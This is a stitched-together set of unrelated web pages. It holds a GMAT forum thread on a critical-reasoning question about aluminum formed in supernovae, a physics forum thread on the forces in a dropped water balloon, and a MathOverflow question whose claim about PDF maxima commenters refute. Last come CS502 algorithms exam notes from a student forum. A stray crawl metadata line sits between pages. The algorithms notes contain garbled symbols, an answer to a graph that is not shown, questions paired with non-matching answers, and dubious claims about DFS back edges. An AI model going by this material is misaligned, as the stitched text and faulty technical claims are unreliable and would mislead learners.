Wrong. E supports the conclusion a bit.
Hope it helps.
_________________
Please +1 KUDO if my post helps. Thank you.
"Designing cars consumes you; it has a hold on your spirit which is incredibly powerful. It's not something you can do part time, you have do it with all your heart and soul or you're going to get it wrong."
Chris Bangle - Former BMW Chief of Design.
Manager
Joined: 13 Aug 2012
Posts: 114
Followers: 1
Kudos [?]: 70 [0], given: 118
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
13 Oct 2013, 06:51
How is C out of scope? Can anyone explain in detail?
My reasoning:
The argument says that high heat or supernova temperature inside or outside the Earth is responsible for the creation of aluminium but C says that aluminium is present in low oxygen areas, maybe the presence of low oxygen area has an affect and this makes aluminium. This can be an alternate cause.
Where am I wrong?
Moderator
Joined: 01 Sep 2010
Posts: 3174
Followers: 858
Kudos [?]: 7309 [1] , given: 1065
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
13 Oct 2013, 10:25
1
KUDOS
mahendru1992 wrote:
How is C out of scope? Can anyone explain in detail?
My reasoning:
The argument says that high heat or supernova temperature inside or outside the Earth is responsible for the creation of aluminium but C says that aluminium is present in low oxygen areas, maybe the presence of low oxygen area has an affect and this makes aluminium. This can be an alternate cause.
Where am I wrong?
simply because the gist of the argument says this: aluminum is the result of fusion at certain point on a time line and this process is equal to that on other planets
this is false: to have aluminium we have to do something of artificial in a siderurgic plant
C says: where the aluminum WHERE is founded............is completely unrelated to weaken the conclusion
hope this shelps you
by the way: do you agree that it is a 700 level question ?? please let me know
_________________
Manager
Joined: 13 Aug 2012
Posts: 114
Followers: 1
Kudos [?]: 70 [1] , given: 118
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
13 Oct 2013, 11:40
1
KUDOS
carcass wrote:
mahendru1992 wrote:
How is C out of scope? Can anyone explain in detail?
My reasoning:
The argument says that high heat or supernova temperature inside or outside the Earth is responsible for the creation of aluminium but C says that aluminium is present in low oxygen areas, maybe the presence of low oxygen area has an affect and this makes aluminium. This can be an alternate cause.
Where am I wrong?
simply because the gist of the argument says this: aluminum is the result of fusion at certain point on a time line and this process is equal to that on other planets
this is false: to have aluminium we have to do something of artificial in a siderurgic plant
C says: where the aluminum WHERE is founded............is completely unrelated to weaken the conclusion
hope this shelps you
by the way: do you agree that it is a 700 level question ?? please let me know
Thanks now i understand my mistake. Ahmm and about the difficulty level of the question, well i'm not sure I'm the right guy to ask since I'm not really good at CR. But IMO it is a near 700 level question
Moderator
Joined: 01 Sep 2010
Posts: 3174
Followers: 858
Kudos [?]: 7309 [0], given: 1065
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
13 Oct 2013, 11:43
mahendru1992 wrote:
carcass wrote:
mahendru1992 wrote:
How is C out of scope? Can anyone explain in detail?
My reasoning:
The argument says that high heat or supernova temperature inside or outside the Earth is responsible for the creation of aluminium but C says that aluminium is present in low oxygen areas, maybe the presence of low oxygen area has an affect and this makes aluminium. This can be an alternate cause.
Where am I wrong?
simply because the gist of the argument says this: aluminum is the result of fusion at certain point on a time line and this process is equal to that on other planets
this is false: to have aluminium we have to do something of artificial in a siderurgic plant
C says: where the aluminum WHERE is founded............is completely unrelated to weaken the conclusion
hope this shelps you
by the way: do you agree that it is a 700 level question ?? please let me know
Thanks now i understand my mistake. Ahmm and about the difficulty level of the question, well i'm not sure I'm the right guy to ask since I'm not really good at CR. But IMO it is a near 700 level question
infact it was a rethoric question to you but also to other students
_________________
Manager
Joined: 13 Aug 2012
Posts: 114
Followers: 1
Kudos [?]: 70 [0], given: 118
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
13 Oct 2013, 11:51
carcass wrote:
by the way: do you agree that it is a 700 level question ?? please let me know
infact it was a rethoric question to you but also to other students
hahaha damn! well that did it
P.S Do you have some tips on how to score well in the CR Section. Because I'm consistently performing poor. I get around 2/5 700 level questions correct. How do I improve? Really frustrated
Moderator
Joined: 01 Sep 2010
Posts: 3174
Followers: 858
Kudos [?]: 7309 [0], given: 1065
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
13 Oct 2013, 12:31
mahendru1992 wrote:
carcass wrote:
by the way: do you agree that it is a 700 level question ?? please let me know
infact it was a rethoric question to you but also to other students
hahaha damn! well that did it
P.S Do you have some tips on how to score well in the CR Section. Because I'm consistently performing poor. I get around 2/5 700 level questions correct. How do I improve? Really frustrated
and easiest question ?' what is your rate ??
_________________
Manager
Joined: 13 Aug 2012
Posts: 114
Followers: 1
Kudos [?]: 70 [0], given: 118
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
13 Oct 2013, 12:36
carcass wrote:
and easiest question ?' what is your rate ??
[/quote][/quote]
Well on an average 4/5 mostly 5/5. But the problem lies with the 700 level questions.
Moderator
Joined: 01 Sep 2010
Posts: 3174
Followers: 858
Kudos [?]: 7309 [1] , given: 1065
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
13 Oct 2013, 12:45
1
KUDOS
mahendru1992 wrote:
carcass wrote:
and easiest question ?' what is your rate ??
[/quote]
Well on an average 4/5 mostly 5/5. But the problem lies with the 700 level questions.[/quote]
well i do not see the problem, to some extent.
I mean: people think that this is just a test about how many difficult questions i pick right ?? yeah, but this is wrong
The test is really complex. The most part of the students not even see that level because a bunch of variables come into the picture : stress, timing, even a word that is not understood and you have difficulties with that question, even if that question is not a 700 level.
The key is to pick right each low middle and middle upper level. in that way you are in an upper level stage that if you pick a 700 level question this one hurts you less than a 500 level. this is the game.
Back to your specific question I would say: read verey super carefully the question, trying to make it own as you are in that scenario and from here move further through the answer choices. Understanding the whole picture and not to use only your sets of strategy: for weaken question i have to weaken only the conclusion: this is fasle. understanding the whole scenario is the first rule to follow.
hope this helps you
_________________
Manager
Joined: 13 Aug 2012
Posts: 114
Followers: 1
Kudos [?]: 70 [0], given: 118
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
13 Oct 2013, 12:50
Quote:
Well on an average 4/5 mostly 5/5. But the problem lies with the 700 level questions.
well i do not see the problem, to some extent.
I mean: people think that this is just a test about how many difficult questions i pick right ?? yeah, but this is wrong
The test is really complex. The most part of the students not even see that level because a bunch of variables come into the picture : stress, timing, even a word that is not understood and you have difficulties with that question, even if that question is not a 700 level.
The key is to pick right each low middle and middle upper level. in that way you are in an upper level stage that if you pick a 700 level question this one hurts you less than a 500 level. this is the game.
Back to your specific question I would say: read verey super carefully the question, trying to make it own as you are in that scenario and from here move further through the answer choices. Understanding the whole picture and not to use only your sets of strategy: for weaken question i have to weaken only the conclusion: this is fasle. understanding the whole scenario is the first rule to follow.
hope this helps you
Thanks for the advice carcass. I was always under the assumption that I had to score all 700 level questions to get a good score
Moderator
Joined: 01 Sep 2010
Posts: 3174
Followers: 858
Kudos [?]: 7309 [2] , given: 1065
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
13 Oct 2013, 12:59
2
KUDOS
the test works more or less like this:
questions one through six or so are of an increasing level
7 ---> 10 are difficult. this because the test tries to set a plateau for each student.
after this the test goes up and down from this plateau; it depends on how you respond to those questions.
around 25 or so (more or less) there is the confirmation stage: where your score is confirmed by the tes itself.
as you can see whwnever you reach THAT plateau after the 10th question if you are in an upper level zone even with question picked wrong you have that score.
coverserly: if you are not able to reach that plateau no matter what you do well AFTER, your score is already that. period.
I would be worried about more to have a strong plateau instead to pick a 700 level right and all the rest wrong; even becasue if you do not reach that upper level stage you never see a 700 level.
All that doesn't mean that 700 level question are not important, this is not true at all. only that for how the test works they are a chimera if you do not do well BEFORE.
_________________
Manager
Joined: 05 Jun 2012
Posts: 111
Schools: IIMA
Followers: 1
Kudos [?]: 15 [0], given: 66
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
26 Jul 2014, 05:39
Indeed a good question, key to solve this question is "STABLE aluminum" -D says earth does not have stable aluminium it has to modify etc............so it says stable aluminium was never exist in earth --->i.e. earth will not be having similar environment of heat of large stars or supernovae
Hope that helps
_________________
If you are not over prepared then you are under prepared !!!
Manager
Joined: 22 Aug 2014
Posts: 193
Followers: 0
Kudos [?]: 10 [0], given: 49
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
15 May 2015, 07:47
guerrero25 wrote:
It takes the heat of large stars or supernovae to cause the fusion of magnesium with hydrogen, creating a chemically stable aluminum. Since aluminum is one of the most abundant elements on Earth, it can be inferred that, at least at some point, the temperature inside or outside Earth was comparable to that on large stars or supernovae.
Which of the following, if true, causes most damage to the conclusion of the argument above?
(A)Creation of stable aluminum requires distinct pressure conditions not typical of contemporary Earth.
(B)Some of the aluminum found on Earth was brought here with asteroids or other cosmic bodies that were parts of large stars or supernovae.
(C)Most aluminum on Earth comes in oxides, and native aluminum can be found only in low oxygen environments.
(D)Aluminum found on Earth has several vacant electrons that have to be artificially removed in order for it to become chemically stable.
(E)Magnesium itself can only be formed under strictly defined conditions.
B is tempting but in B if some aluminum was brought by asteroids then what about the left aluminum.
CEO
Joined: 17 Jul 2014
Posts: 2502
Location: United States (IL)
Concentration: Finance, Economics
Schools: Stanford '19 (D)
GMAT 1: 650 Q49 V30
GPA: 3.92
WE: General Management (Transportation)
Followers: 26
Kudos [?]: 342 [0], given: 168
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
30 Dec 2015, 21:18
(A)Creation of stable aluminum requires distinct pressure conditions not typical of contemporary Earth. - irrelevant
(B)Some of the aluminum found on Earth was brought here with asteroids or other cosmic bodies that were parts of large stars or supernovae. - some - but what about the other part? where did it come from? out.
(C)Most aluminum on Earth comes in oxides, and native aluminum can be found only in low oxygen environments.
still doesn't explain where it came from. is oxides different from native aluminium? since additional questions need to be answered, it can't be a correct answer.
(D)Aluminum found on Earth has several vacant electrons that have to be artificially removed in order for it to become chemically stable.
ok, now this is interesting. this one says that aluminium on earth has different structure than the aluminium formed in supernova. thus, the conclusion no longer stands.
(E)Magnesium itself can only be formed under strictly defined conditions. - irrelevant
Manager
Joined: 01 Dec 2016
Posts: 95
Location: Cote d'Ivoire
Concentration: Finance, Entrepreneurship
WE: Investment Banking (Investment Banking)
Followers: 0
Kudos [?]: 12 [0], given: 28
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
09 Apr 2017, 04:06
i like this question.
Particular because B creates confusion.
Advised test takers can eliminate B beacuse of "Some alu was brought......" in the answer choice and "at least at some point....." in the question stem
_________________
What was previously thought to be impossible is now obvious reality.
In the past, people used to open doors with their hands. Today, doors open "by magic" when people approach them
Re: It takes the heat of large stars or supernovae to cause [#permalink] 09 Apr 2017, 04:06
Similar topics Replies Last post
Similar
Topics:
1 Exposure to a large dose of something that causes bodily damage 1 03 Jun 2016, 20:23
8 The supernova event of 1987 is interesting 4 14 Oct 2016, 18:49
2 Large national budget deficits do not cause large trade 2 06 Oct 2013, 13:32
13 Large national budget deficits do not cause large trade 11 07 Jun 2016, 14:44
10 Large national budget deficits do not cause large trade 11 01 Mar 2017, 06:03
Display posts from previous: Sort by
# It takes the heat of large stars or supernovae to cause
new topic post reply Question banks Downloads My Bookmarks Reviews Important topics
Powered by phpBB © phpBB Group and phpBB SEO Kindly note that the GMAT® test is a registered trademark of the Graduate Management Admission Council®, and this site has neither been reviewed nor endorsed by GMAC®. | 6,031 | 25,063 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.046875 | 3 | CC-MAIN-2017-22 | latest | en | 0.896282 |
http://mathoverflow.net/questions/98228/is-it-known-that-every-pdf-continuous-in-all-rn-has-a-maximum?sort=oldest | 1,469,484,502,000,000,000 | text/html | crawl-data/CC-MAIN-2016-30/segments/1469257824395.52/warc/CC-MAIN-20160723071024-00185-ip-10-185-27-174.ec2.internal.warc.gz | 154,995,760 | 14,166 | Is it known that every PDF continuous in all $R^n$ has a maximum? [closed]
I'm working with maximum a posteriori estimation and managed to show that every probability density function that is continuous in all $R^n$ always has at least one global maximum. I've search around and asked a few fellow engineers and professors but am not sure if this is widely known. This can actually be extended to any continuous Radon-Nikodym derivative of a finite measure.
The proof is simple: let $f$ be the PDF, and be continuous in all $R^n$. If $L(v)$ is the closed superlevel set at $v$, that is: $L(v):=${$x\in R^n: f(x)\geq v$}, then it must be bounded.
That is so because the neighbourhood of any unbounded set in $R^n$ has infinite Lebesgue measure. Due to continuity of $f$, any lower superlevel set of it, for example $L(v/2)$ contains a neighbourhood of $L(v)$. The probability of the superlevel sets is bounded below by $P[L(v)]\geq v \lambda[L(v)]$. This means that if any superlevel set of $f$ were unbounded, then a lower superlevel set would have probability greater than one.
Since all closed superlevel sets are bounded, they are compact and attain their maximum.
-
closed as off topic by George Lowther, Qiaochu Yuan, Chris Godsil, Douglas Zare, Anthony QuasMay 29 '12 at 4:52
Questions on MathOverflow are expected to relate to research level mathematics within the scope defined by the community. Consider editing the question or leaving comments for improvement if you believe the question can be reworded to fit within the scope. Read more about reopening questions here.If this question can be reworded to fit the rules in the help center, please edit the question.
I think that if $f$ is a continuous density with compact support $\sum p_i \lambda_i f(\frac x {\lambda_i} + v_i$ is a continuous and has no global maximum, choosing $\sum p_i = 1, \lambda_i \rightarrow \infty, \v_i \rightarrow \infty$, – mike May 28 '12 at 23:40
The statement is false. L(v) need not be bounded, and the neighbourhood of an unbounded set in R^n need not have infinite measure. (Try constructing an open neighbourhood of the rationals in R with finite measure). – George Lowther May 28 '12 at 23:57
Never mind, sorry for the fallacy... An $\epsilon$-neighbourhood of an unbounded set has infinite Lebesgue measure for any finite $\epsilon$, but as the counterexample showed it not necessarily is containded by the lower superlevel set. The case I'm working is simpler though, I actually know my function is bounded above, it is differentiable and its gradient is continuous. Does it make sense saying it attains the maximum? ps.: George, I'm a fan of your blog. – Dimas Abreu Dutra May 29 '12 at 3:49
No, the modified proposition is still false. Smooth the previous counterexample and then apply $\arctan$ and rescale. – Douglas Zare May 29 '12 at 4:03
@Dimas: You recover your result if it is assumed that the probability density is uniformly continuous, although that is a much stronger condition. – George Lowther May 31 '12 at 20:16
Take $n=1$ and put a triangle with height $2^m$ and width $2^{-2m}$ at each integer $m=0,1,2,\dots$ | 796 | 3,138 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.140625 | 3 | CC-MAIN-2016-30 | latest | en | 0.947123 |
https://www.physicsforums.com/threads/forces-to-crack-a-pouch-after-a-fall.333583/ | 1,527,089,563,000,000,000 | text/html | crawl-data/CC-MAIN-2018-22/segments/1526794865679.51/warc/CC-MAIN-20180523141759-20180523161759-00586.warc.gz | 797,802,484 | 15,211 | # Forces to crack a pouch after a fall
1. Aug 30, 2009
### rah
Hi
I have a question I need help with.
Im trying to find out how much forces that a pouch (balloon) creates on the inside walls when it hits the floor after a fall.
A pouch (balloon) with one litre of water falls from 1 meter down to the floor.
How much force must the "walls" stand before they crack?
I have tryed to put a known force on top of the pouch and it stands quite a lot.
But when I drop it on the floor it cracks "a lot easier".
R
2. Aug 30, 2009
### Astronuc
Staff Emeritus
1 l of water = 1 kg and 1 m, mgh = 1 kg * 9.81 m/s2 * 1 m = 9.81 J.
Does the static force on top of the balloon apply a for equivalent to 9.8 J?
There are dynamic effects and stress concentrations that play a role. When the balloon drops there is a strain rate effect as well as a non-uniformity in the stress field that can cause the balloon material to tear. Some of the stress non-uniformity will arise from friction between the balloon and impact surface, as well as non-uniformity in the wall of the balloon.
3. Aug 30, 2009
### rah
If I understood you right the force that the balloon hits the floor with is 9,8J or Newton.
The force I use when I pressure test the pouch is 2000N and the pouch doesent have any sign of cracking.
Is it possible to calculate the pressure the water creates on the walls. Is that hydraulic pressure?
R
4. Aug 30, 2009
### Astronuc
Staff Emeritus
When the balloon drops, the gavitational potential energy converts to kinetic energy until the balloon hits the floor (9.8 J). When the balloon hits the floor, the force is determined by the impulse relationship, but it's complicated since the balloon is not rigid. The water deforms as it collapses and the balloon is pushed out sideways (radially) - and there is probably an acoustic/shock wave reverberating through the water. | 482 | 1,884 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.4375 | 3 | CC-MAIN-2018-22 | latest | en | 0.931777 |
https://vustudents.ning.com/group/cs502fundamentalsofalgorithms/forum/topics/cs502-final-term-past-papers-required?commentId=3783342%3AComment%3A1412207&groupId=3783342%3AGroup%3A59371 | 1,590,776,123,000,000,000 | text/html | crawl-data/CC-MAIN-2020-24/segments/1590347405558.19/warc/CC-MAIN-20200529152159-20200529182159-00378.warc.gz | 595,441,418 | 27,565 | We are here with you hands in hands to facilitate your learning & don't appreciate the idea of copying or replicating solutions. Read More>>
www.vustudents.ning.com
www.bit.ly/vucodes + Link For Assignments, GDBs & Online Quizzes Solution www.bit.ly/papersvu + Link For Past Papers, Solved MCQs, Short Notes & More
Dear Students! Share your Assignments / GDBs / Quizzes files as you receive in your LMS, So it can be discussed/solved timely. Add Discussion
# cs502 final term past papers required
plz share the mcq's of cs502 here
+ How to Join Subject Study Groups & Get Helping Material?
+ How to become Top Reputation, Angels, Intellectual, Featured Members & Moderators?
+ VU Students Reserves The Right to Delete Your Profile, If?
Views: 478
.
+ http://bit.ly/vucodes (Link for Assignments, GDBs & Online Quizzes Solution)
+ http://bit.ly/papersvu (Link for Past Papers, Solved MCQs, Short Notes & More)
### Replies to This Discussion
CS502 Fundamentals of Algorithms
Final TERM Subjective
Differentiate between back edge and forward edge Suppose you could prove that an NP-complete problem can not be solved in polynomial time. What would be the consequence?
Back Edge
back edge connects a vertex to an ancestor in a DFS-tree. Note that a self-loop is a back edge.
from descendent to ancestor
(u, v) where v is an ancestor of u in the tree.
DFS tree may only have a single back edge
A back edge is an arc whose head dominates its tail (tail -> head)
a back edge must be a part of at least one loop
Forward Edge
from ancestor to descendent
(u, v) where v is a proper descendent of u in the tree.
forward edge is a non-tree edge that connects a vertex to a descendent in a DFS-tree.
Edge x-y is less than the capacity there is a forward edge x-y with a capacity equal to the
capacity and the flow
According to the question this means that the problem can be solved in Polynomial time using known NP problem can be solved using the given problem with modified input (an NP problem can be reduced to the given problem) then the problem is NP complete.
The main thing to take away from an NP-complete problem is that it cannot be solved in polynomial time in any known way. NP-Hard/NP-Complete is a way of showing that certain classes of problems are not solvable in realistic time.
Ref: Handouts Page No.128
Recursive explanation of dynamic programming.
Formulate the problem into smaller sub problems, find optimal solution to these sub problems in a bottom up fashion then write an algorithm to find the solution of whole problem starting with base case and works it way up to final solution.
Dynamic programming is essentially recursion without repetition. Developing a dynamic programming algorithm generally involves two separate steps:
Formulate problem recursively. Write down a formula for the whole problem as a simple
combination of answers to smaller sub problems.
Build solution to recurrence from bottom up. Write an algorithm that starts with base cases and works its way up to the final solution.
Ref: Handouts Page No.75
What is the cost of the following graph?
Cost =33
A common problem is communications networks and circuit design is that of connecting together a set of nodes by a network of total minimum length. The length is the sum of lengths of connecting wires.
Consider, for example, laying cable in a city for cable t.v.
The computational problem is called the minimum spanning tree (MST) problem. Formally, we are given
a connected, undirected graph G = (V, E) Each edge (u, v) has numeric weight of cost. We define the cost of a spanning tree T to be the sum of the costs of edges in the spanning tree
w(T) = Σ w(u, v)
(u,v)2T
A minimum spanning tree is a tree of minimum weight The first is a spanning tree but is not a MST;
Ref: Handouts Page No.142
Let the adjacency list representation of an undirected graph is given below. Explain what general property of the list indicates that the graph has an isolated vertex.
a à b à c à e
b à a à d
c à a à d à e à f
d à b à c à f
e à a à c à f
f à c à d à e
g
The main theorem which drives both algorithms is the following:
MST Lemma: Let G = (V, E) be a connected, undirected graph with real-valued weights on the edges.
Let A be a viable subset of E (i.e., a subset of some MST). Let (S, V − S) be any cut that respects A and let (u, v) be a light edge crossing the cut. Then the edge (u, v) is safe for A.
MST Proof: It would simplify the proof if we assume that all edge weights are distinct. Let T be any MST for G. If T contains (u, v) then we are done. This is shown in Figure 8.47 where the lightest edge (u, v) with cost 4 has been chosen.
Ref: Handouts Page No.144
Floyd Warshal algorithm with three recursive steps
1. Wij = 0 if I = j
2. Wij = w(i,j) if i != j and (i,j) belongs to E
3. Wij = infinity if i != j and (i,j) not belongs to E
The Floyd-Warshall algorithm: Step (i)
The Floyd-Warshall algorithm: Step (ii)
Recursively define the value of an optimal solution.
Boundary conditions: for k = 0, a path from vertex i to j with no intermediate vertex numbered higher than 0 has no intermediate vertices at all, hence d (0)= wij
Recursive formulation:
is the solution for this APSP problem:
The Floyd-Warshall algorithm: Step (iii)
Compute the shortest-path weights bottom up
FLOYD-WARSHALL(W, n)
Ref: Handouts Page No.161
Give a detailed example for 2d maxima problem
The problem with the brute-force algorithm is that it uses no intelligence in pruning out decisions.
For example, once we know that a point pi is dominated by another point pj, we do not need to use pi for eliminating other points. This follows from the fact that dominance relation is transitive. If pj dominates pi and pi dominates ph then pj also dominates ph; pi is not needed.
Ref: Handouts Page No.17
How the generic greedy algorithm operates in minimum spanning tree?
A generic greedy algorithm operates by repeatedly adding any safe edge to the current spanning tree. When is an edge safe? Consider the theoretical issues behind determining whether an edge is safe or not.
Let S be a subset of vertices S _ V. A cut (S, V − S) is just a partition of vertices into two disjoint subsets. An edge (u, v) crosses the cut if one endpoint is in S and the other is in V − S. Given a subset of edges A, a cut respects A if no edge in A crosses the cut. It is not hard to see why respecting cuts are important to this problem. If we have computed a partial MST and we wish to know which edges can be added that do not induce a cycle in the current MST, any edge that crosses a respecting cut is a possible candidate.
Ref: Handouts Page No.143
What are two cases for computing
There are two cases for computing Lij the match case if ai = bj , and the mismatch case if ai 6= bj . In the match case, we do the following:
and in the mismatch case, we do the following:
Ref: Handouts Page No.143
Describe Minimum Spanning Trees Problem with examples.
Problem
Given a connected weighted undirected graph, design an algorithm that outputs a
minimum spanning tree (MST) of
Examples
The graph is a complete, undirected graph G = ( V, E ,W ), where V is the set of pins, E is the set of all possible interconnections between the pairs of pins and w(e) is the length of the wire needed to connect the pair of vertices
Ref: Handouts Page No.142
What is decision problem, also explain with example?
A decision problem is a question in some formal system A problem is called a decision problem if its output is a simple “yes” or “no” (or you may this of this as
true/false, 0/1, accept/reject.) We will phrase may optimization problems as decision problems.
For example,
the MST decision problem would be: Given a weighted graph G and an integer k, does G have a spanning tree whose weight is at most k?
Ref: Handouts Page No.170
Do you think greedy algorithm gives an optimal solution to the activity scheduling
problem?
The greedy algorithm gives an optimal solution to the activity scheduling problem.
Proof:
The proof is by induction on the number of activities. For the basis case, if there are no activities, then the greedy algorithm is trivially optimal. For the induction step, let us assume that the greedy algorithm is optimal on any set of activities of size strictly smaller than |S| and we prove the result for S. Let S0 be the set of activities that do not interfere with activity a1, That is
Any solution for S0 can be made into a solution for S by simply adding activity a1, and vice versa. Activity a1 is in the optimal schedule (by the above previous claim). It follows that to produce an optimal schedule for the overall problem, we should first schedule a1 and then append the optimal schedule for S0. But by induction (since |S0| < |S|), this exactly what the greedy algorithm does.
Ref: Handouts Page No.109
Define Forward edge
The most natural result of a depth first search of a graph (if it is considered as a function rather than procedure) is a spanning tree of the vertices reached during the search. Based on this spanning tree, the edges of the original graph can be divided into three classes: forward edges (or "discovery edges"), which point from a node of the tree to one of its descendants,
Ref: Handouts Page No.129 130
Is there any relationship between number of back edges and number of cycles in DFS?
The time stamps given by DFS allow us to determine a number of things about a graph or digraph. we can determine whether the graph contains any cycles.
Lemma: Given a digraph G = (V, E), consider any DFS forest of G and consider any edge (u, v) 2 E. If this edge is a tree, forward or cross edge, then f[u] > f[v]. If this edge is a back edge, then f[u] _ f[v].
Proof: For the non-tree forward and back edges the proof follows directly from the parenthesis lemma. For example, for a forward edge (u, v), v is a descendent of u and so v’s start-finish interval is contained within u’s implying that v has an earlier finish time. For a cross edge (u, v) we know that the two time intervals are disjoint. When we were processing u, v was not white (otherwise (u, v) would be a tree edge), implying that v was started before u. Because the intervals are disjoint, v must have also finished before u.
Ref: Handouts Page No.130
What is the common problem in communications networks and circuit designing?
A common problem is communications networks and circuit design is that of connecting together a set of nodes by a network of total minimum length. The length is the sum of lengths of connecting wires.
Consider, for example, laying cable in a city for cable t.v.
Ref: Handouts Page No.142
Explain the following two basic cases according to Floyd-Warshall Algorithm,
1. Don t go through vertex k at all.
2. Do go through vertex k.
Don’t go through k at all
Then the shortest path from i to j uses only intermediate vertices {1, 2, . . . , k − 1}. Hence the length of
the shortest is d(k−1)
ij
Do go through k
First observe that a shortest path does not go through the same vertex twice, so we can assume that we
pass through k exactly once. That is, we go from i to k and then from k to j. In order for the overall path to be as short as possible, we should take the shortest path from i to k and the shortest path from k to j.
Since each of these paths uses intermediate vertices {1, 2, . . . , k − 1}, the length of the path is
Ref: Handouts Page No.162
Show the result of time stamped DFS algorithm on the following graph. Take node A as a starting node.
Depth-first search (DFS) :
It is an algorithm for traversing or searching a tree, tree structure, or graph. Intuitively, one starts at the root (selecting some node as the root in the graph case) and explores as far as possible along each branch before backtracking.
Formally, DFS is an uninformed search that progresses by expanding the first child node of the search tree that appears and thus going deeper and deeper until a goal node is found, or until it hits a node that has no children. Then the search backtracks, returning to the most recent node it hadn't finished exploring. In a non-recursive implementation, all freshly expanded nodes are added to a LIFO stack for exploration.
DFS (graph)
{
list L =empty
tree T =empty
choose a starting vertex x
search(x)
while(Lis not empty)
{
remove edge (v, w) from beginning of L
if w not yetvisited
{
search(w)
}
}
}
search(vertex v)
{
visit v
for each edge (v, w)
add edge (v, w) to the beginning of L
}
-----------------------------------------------------------------------------------------------
Why we need reduction?
The class NP-complete (NPC) problems consists of a set of decision problems (a subset of class NP) that no one knows how to solve efficiently. But if there were a polynomial solution for even a single NP-complete problem, then ever problem in NPC will be solvable in polynomial time. For this, we need the concept of reductions.
Ref: Handouts Page No.173
Consider the digraph on eight nodes, labeled 1 through 8, with eleven directed edges
1 2, 1 4, 2 4, 3 2, 4 5, 5 3 ,5 6, 7 8, 7 1, 2 7,8 7
0-7 0-1 1-4 1-6 2-3 3-4 4-2 5-2 6-0 6-3 6-5 7-1 7-3
Draw the DFS tree for the standard adjacency-matrix representation. List the edges of each type in the space provided below.
0-7 tree 0
0-1 tree / \
1-4 tree 1 7
1-6 tree / \
2-3 tree 4 6
3-4 back | |
4-2 tree 2 5
5-2 cross |
6-0 back 3
6-3 cross
6-5 tree
7-1 cross
7-3 cross
Prove that the generic TRAVERSE (S) marks every vertex in any connected graph exactly once and the set of edges (v, parent (v)) with parent (v) ¹F form a spanning tree of the graph
Generic Traverse
• Suppose we want to visit every node in a connected graph (represented either explicitly or implicitly)
• The simplest way to do this is an algorithm called depth-first search
• We can write this algorithm recursively or iteratively - it’s the same both ways, the iterative version just makes the stack explicit
• Both versions of the algorithm are initially passed a source vertex v
Lemma
Traverse(s) marks each vertex in a connected graph exactly once, and the set of edges (v, parent(v)), with parent(v) not nil, form a spanning tree of the graph.
Proof
• Call an edge (v, parent(v)) with parent(v) =6 nil a parent edge.
• Note that since every node is marked, every node has a parent edge except for s.
• It now remains to be shown that the parent edges form a spanning tree of the graph
What is a run time analysis and its two criteria
The main purpose of our mathematical analysis will be measuring the execution time. The running time of an implementation of the algorithm would depend upon the speed of the computer, programming language, optimization by the compiler etc. Two criteria for measuring running time are worst-case time and average-case time.
Worst-case time is the maximum running time over all (legal) inputs of size n. Let I denote an input instance, let |I| denote its length, and let T(I) denote the running time of the algorithm on input I. Then
Average-case time is the average running time over all inputs of size n. Let p(I) denote the probability of seeing this input. The average-case time is the weighted sum of running times with weights being the probabilities:
We will almost always work with worst-case time. Average-case time is more difficult to compute; it is difficult to specify probability distribution on inputs. Worst-case time will specify an upper limit on the running time.
Ref: Handouts Page No.173
Dijkstra algorithm correctness criteria two conditions
We will prove the correctness of Dijkstr’s algorithm by Induction. We will use the definition that _(s, v)
denotes the minimal distance from s to v.
For the base case
1. S = {s}
2. d(s) = 0, which is _(s, s
Ref: Handouts Page No.158
Compare bellman ford algorithm with dijikstr's algorithm. Also give the time complexity of bellman ford algorithm (3 marks)
Dijkstra’s single-source shortest path algorithm works if all edges weights are non-negative and there are no negative cost cycles. Bellman-Ford allows negative weights edges and no negative cost cycles. The algorithm is slower than Dijkstra’s, running in _(VE) time. Like Dijkstra’s algorithm, Bellman-Ford is based on performing repeated relaxations. Bellman-Ford applies relaxation to every edge of the graph and repeats this V − 1 times.
Ref: Handouts Page No.159
psedo code of timestamp DFS
DFS(G)
1 for (each u 2 V)
2 do color[u] white
3 pred[u] nil
4 time 0
5 for each u 2 V
6 do if (color[u] = white)
7 then DFSVISIT(u)
Ref: Handouts Page No.126
variants of shortest path solution
There are a few variants of the shortest path problem.
Single-source shortest-path problem: Find shortest paths from a given (single) source vertex s 2 V to every other vertex v 2 V in the graph G.
